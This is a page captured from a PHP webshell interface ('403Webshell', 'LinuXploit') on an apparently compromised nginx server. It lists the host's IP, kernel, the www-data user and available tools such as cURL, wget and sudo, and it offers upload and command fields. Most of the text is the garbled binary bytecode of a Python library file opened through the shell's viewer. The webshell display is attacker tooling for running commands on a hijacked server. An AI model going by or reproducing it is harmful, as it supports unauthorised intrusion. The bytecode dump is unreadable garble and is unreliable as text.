403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/magic/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/magic/__pycache__/compat.cpython-314.pyc
+
!��b| ��`�Rt^RIt^RIHt^RI5^RIHt^RIHt/t]P!4]R&^;t
t^;tt
^;tt^;tt^;tt^;tt^ ;tt^@;tt^�;ttR;ttR;ttR	;t t!R
;t"t#R;t$t%R;t&t'R
;t(t)R;t*t+R;t,t-R;t.t/R;t0t1R;t2t3R;t4t5R;t6t7R;t8t9]!RR 4t:!RR];4t<.]<n=]>!]<4t?]R,P�tA]?]AnB]C.]AnD]R,P�tFR]FnB]?.]FnD]R,P�tH]I]HnB]?]I.]HnD]R,P�tK]I]KnB]?]C.]KnD]R,P�tM]I]MnB]?]N]O.]MnD]R,P�tQ]I]QnB]?.]QnD]R,P�tS]C]SnB]?]C.]SnD]R,P�tU]C]UnB]?]I.]UnD]R,P�tW]C]WnB]?]I.]WnD]R,P�tY]C]YnB]?]I.]YnD]R,P�t[]C][nB]?]I.][nD]R,P�t]]C]]nB]?.]]nD!RR]^4t_Rt`]_!]A!]"44ta]aP�4]_!]A!]
44tc]cP�4RtdRteRtfRtgR#)!z
Python bindings for libmagic
N)�
namedtuple)�*)�find_library)�loader�magic�iiiiii i@i�iiiii i�?�	FileMagicc��]tRt^3tRtR#)�	magic_set�N)�__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��./usr/lib/python3/dist-packages/magic/compat.pyr
r
3s��rr
c�a�]tRt^ktoRtRt]R4t]R4tRt	Rt
RtRtR	t
RRltRtR
tRtRtRtVtR
#)�Magicc��WnR#�N��_magic_t)�self�mss&&r�__init__�Magic.__init__ls���
rc�0�\VP4R#)z?
Closes the magic database and deallocates any resources used.
N)�_closer�rs&r�close�Magic.closeos��	�t�}�}�rc��VfR#\V\4'dV#\VR4# \d\T4u#i;i�Nzutf-8)�
isinstance�str�	TypeError)�ss&r�__tostr�
Magic.__tostrusE���9���a�����H�	��q�'�?�"���	��q�6�M�	���,�A�Ac��VfR#\V\4'dV#\VR4# \d\T4u#i;ir#)r$�bytesr&)�bs&r�	__tobytes�Magic.__tobytes�sF���9���a�����H�	���G�$�$���	���8�O�	�r*c�z�\P\VP\P	V444#)z�
Returns a textual description of the contents of the argument passed
as a filename or None if an error occurred and the MAGIC_ERROR flag
is set. A call to errno() will return the numeric error code.
)r�
_Magic__tostr�_filer�_Magic__tobytes�r�filenames&&r�file�
Magic.file�s'���}�}�U�4�=�=�%�/�/�(�2K�L�M�Mrc�T�\P\VPV44#)z�
Returns a textual description of the contents of the argument passed
as a file descriptor or None if an error occurred and the MAGIC_ERROR
flag is set. A call to errno() will return the numeric error code.
)rr1�_descriptorr)r�fds&&r�
descriptor�Magic.descriptor�s���}�}�[�����;�<�<rc	�h�\P\VPV\	V444#)z�
Returns a textual description of the contents of the argument passed
as a buffer or None if an error occurred and the MAGIC_ERROR flag
is set. A call to errno() will return the numeric error code.
)rr1�_bufferr�len)r�bufs&&r�buffer�Magic.buffer�s$���}�}�W�T�]�]�C��S��B�C�Crc�R�\P\VP44#)zP
Returns a textual explanation of the last error or None
if there was no error.
)rr1�_errorrrs&r�error�Magic.error�s��
�}�}�V�D�M�M�2�3�3rc�.�\VPV4#)z�
Set flags on the magic object which determine how magic checking
behaves; a bitwise OR of the flags described in libmagic(3), but
without the MAGIC_ prefix.

Returns -1 on systems that don't support utime(2) or utimes(2)
when PRESERVE_ATIME is set.
)�	_setflagsr)r�flagss&&r�setflags�Magic.setflags�s�������.�.rNc�T�\VP\PV44#)z�
Must be called to load entries in the colon separated list of database
files passed as argument or the default database file if no argument
before any magic queries can be performed.

Returns 0 on success and -1 on failure.
)�_loadrrr3r4s&&r�load�
Magic.load�s���T�]�]�E�O�O�H�$=�>�>rc�T�\VP\PV44#)a
Compile entries in the colon separated list of database files
passed as argument or the default database file if no argument.
The compiled files created are named from the basename(1) of each file
argument with ".mgc" appended to it.

Returns 0 on success and -1 on failure.
)�_compilerrr3�r�dbss&&r�compile�
Magic.compile�s����
�
�u���s�';�<�<rc�T�\VP\PV44#�z�
Check the validity of entries in the colon separated list of
database files passed as argument or the default database file
if no argument.

Returns 0 on success and -1 on failure.
)�_checkrrr3rRs&&r�check�Magic.check�s���d�m�m�U�_�_�S�%9�:�:rc�T�\VP\PV44#rW)�_listrrr3rRs&&r�list�
Magic.list�s���T�]�]�E�O�O�C�$8�9�9rc�,�\VP4#)z�
Returns a numeric error code. If return value is 0, an internal
magic error occurred. If return value is non-zero, the value is
an OS error code. Use the errno module or os.strerror() can be used
to provide detailed error information.
)�_errnorrs&r�errno�Magic.errno�s���d�m�m�$�$rrr)rr
rrrr �staticmethodr1r3r6r;rArErJrNrTrYr]rar�__classdictcell__)�
__classdict__s@rrrksp��������������N�=�D�4�	/�?�	=�;�:�%�%rrc�*�\\V44#)zX
Returns a magic object on success and None on failure.
Flags argument as for setflags.
)r�_open)rIs&r�openrh�s��
��u���rc��VPR4pV^,p\V4^8XdV^,pMRp\WVPRR4R7#)z; �zcharset=)�name�	mime_type�encoding)�splitr?r�replace)�
mime_detected�
type_detected�splatrl�
mime_encodings&&   r�_create_filemagicrt�sU������%�E��a��I�
�5�z�Q���a��
��
��-�+�3�3�J��C�E�Erc�f�\\PV4\PV44#)z\Detect mime type, encoding and file type from a filename

Returns a `FileMagic` namedtuple.
)rt�
mime_magicr6�
none_magic)r5s&r�detect_from_filenamerxs(���Z�_�_�X�6�'�_�_�X�6�8�8rc��VP4p\\PV4\PV44#)zbDetect mime type, encoding and file type from file-like object

Returns a `FileMagic` namedtuple.
)�filenortrvr;rw)�fobj�file_descriptors& r�detect_from_fobjr}
s9���k�k�m�O��Z�2�2�?�C�'�2�2�?�C�E�Erc�f�\\PV4\PV44#)zWDetect mime type, encoding and file type from bytes

Returns a `FileMagic` namedtuple.
)rtrvrArw)�byte_contents&r�detect_from_contentr�s,���Z�.�.�|�<�'�.�.�|�<�>�>r)rlrmrk)h�__doc__�ctypes�collectionsr�ctypes.utilrrjr�
_libraries�load_lib�
MAGIC_NONE�NONE�MAGIC_DEBUG�DEBUG�
MAGIC_SYMLINK�SYMLINK�MAGIC_COMPRESS�COMPRESS�
MAGIC_DEVICES�DEVICES�MAGIC_MIME_TYPE�	MIME_TYPE�MAGIC_CONTINUE�CONTINUE�MAGIC_CHECK�CHECK�MAGIC_PRESERVE_ATIME�PRESERVE_ATIME�	MAGIC_RAW�RAW�MAGIC_ERROR�ERROR�MAGIC_MIME_ENCODING�
MIME_ENCODING�
MAGIC_MIME�MIME�MAGIC_APPLE�APPLE�MAGIC_NO_CHECK_COMPRESS�NO_CHECK_COMPRESS�MAGIC_NO_CHECK_TAR�NO_CHECK_TAR�MAGIC_NO_CHECK_SOFT�
NO_CHECK_SOFT�MAGIC_NO_CHECK_APPTYPE�NO_CHECK_APPTYPE�MAGIC_NO_CHECK_ELF�NO_CHECK_ELF�MAGIC_NO_CHECK_TEXT�
NO_CHECK_TEXT�MAGIC_NO_CHECK_CDF�NO_CHECK_CDF�MAGIC_NO_CHECK_TOKENS�NO_CHECK_TOKENS�MAGIC_NO_CHECK_ENCODING�NO_CHECK_ENCODING�MAGIC_NO_CHECK_BUILTIN�NO_CHECK_BUILTINr�	Structurer
�_fields_�POINTER�magic_t�
magic_openrg�restype�c_int�argtypes�magic_closer�
magic_filer2�c_char_p�magic_descriptorr9�magic_bufferr>�c_void_p�c_size_t�magic_errorrD�magic_setflagsrH�
magic_loadrM�
magic_compilerQ�magic_checkrX�
magic_listr\�magic_errnor`�objectrrhrvrNrwrtrxr}r�rrr�<module>r�sa����"��$��
�
��o�o�'�
�7����
�T����e���
��������
�� � ��)��������e�(+�+��~���	�C����e�&*�*��m���
�T����e�.2�2��+�$(�(��\�&+�+��m�,1�1��)�$)�)��\�&,�,��m�$*�*��\�*1�1���.5�5��+�,3�3��)��{�$E�F�	�	�	�	��	��
�)�
���7��&�&����
�����	�G�	�	(�	(������)����7��&�&����
��8�$�����!�2�2�������'���
�W�
�
*�
*������X�x�0���	�G�	�	(�	(������)����w��.�.�	��	���u�%�	���7��&�&����
��8�$����g��,�,������h�'���	�G�	�	(�	(������H�%����7��&�&����
��8�$���	�G�	�	(�	(������)���z%�F�z%�z��5��$�
%�
�
����
�5��$�
%�
�
����	E�8�E�>r

Youez - 2016 - github.com/yon3zu
LinuXploit